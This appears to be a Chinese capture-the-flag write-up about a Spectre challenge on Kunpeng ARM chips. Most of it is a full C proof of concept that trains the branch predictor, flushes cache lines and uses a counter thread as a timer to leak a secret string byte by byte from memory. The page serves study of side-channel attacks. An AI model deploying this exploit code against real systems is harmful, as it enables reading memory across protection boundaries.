点击此处获得更好的阅读体验
WriteUp来源
题目描述
题目考点
解题思路
经过详细测试, 鲲鹏芯片上有 spectre & meltdown 漏洞. 本题设计了一个典型的 spectre 漏洞的场景. 考虑到 arm 上没有类似于 rdtsc 的指令, 加入了第二个线程使其可以通过一个死循环来判断时间.
一个简单的 poc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
//#include <pthread.h>
/********************************************************************
Victim code.
********************************************************************/
volatile uint64_t counter = 0;
uint64_t miss_min = 0;
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];
char* secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size)
{
temp &= array2[array1[x] * 512];
}
}
void *inc_counter(void *a) {
while (1) {
counter++;
//asm volatile ("DMB SY");
}
}
// timing and flush methods copied from https://github.com/lgeek/spec_poc_arm
static uint64_t timed_read(volatile uint8_t *addr) {
uint64_t ns = counter;
asm volatile (
"DSB SY\n"
"LDR X5, [%[ad]]\n"
"DSB SY\n"
: : [ad] "r" (addr) : "x5");
return counter - ns;
}
static inline void flush(void *addr) {
asm volatile ("DC CIVAC, %[ad]" : : [ad] "r" (addr));
asm volatile("DSB SY");
}
uint64_t measure_latency() {
uint64_t ns;
uint64_t min = 0xFFFFF;
for (int r = 0; r < 300; r++) {
flush(&array1[0]);
ns = timed_read(&array1[0]);
if (ns < min) min = ns;
}
return min;
}
/********************************************************************
Analysis code
********************************************************************/
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i;
size_t training_x, x;
register uint64_t time2;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
flush(&array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
flush(&array1_size);
for (volatile int z = 0; z < 100; z++)
{
} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++)
{
mix_i = ((i * 167) + 13) & 255;
time2 = timed_read(&array2[mix_i * 512]);
if (time2 <= miss_min && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++)
{
if (j < 0 || results[i] >= results[j])
{
k = j;
j = i;
}
else if (k < 0 || results[i] >= results[k])
{
k = i;
}
}
if (j == 0)
continue;
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}
int main(int argc, const char * * argv) {
char *flag = mmap(0, 4096*2, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
printf("Putting '%s' in memory\n", secret);
memcpy(flag, secret, 40);
size_t malicious_x = (size_t)(flag - (char *)array1); /* default for malicious_x */
int score[2], len = strlen(secret);
uint8_t value[2];
for (size_t i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
pthread_t inc_counter_thread;
//if (pthread_create(&inc_counter_thread, NULL, inc_counter, NULL)) {
// fprintf(stderr, "Error creating thread\n");
// return 1;
//}
// let the bullets fly a bit ....
//while (counter < 10000000);
asm volatile ("DSB SY");
miss_min = measure_latency();
if (miss_min == 0) {
fprintf(stderr, "Unreliable access timing\n");
exit(EXIT_FAILURE);
}
miss_min -= 1;
printf("miss_min %d\n", miss_min);
printf("Reading %d bytes:\n", len);
while (--len >= 0)
{
printf("Reading at malicious_x = %p... ", (void *)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X='%c' score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X='%c' score=%d)", value[1],
(value[1] > 31 && value[1] < 127 ? value[1] : '?'),
score[1]);
printf("\n");
}
return (0);
}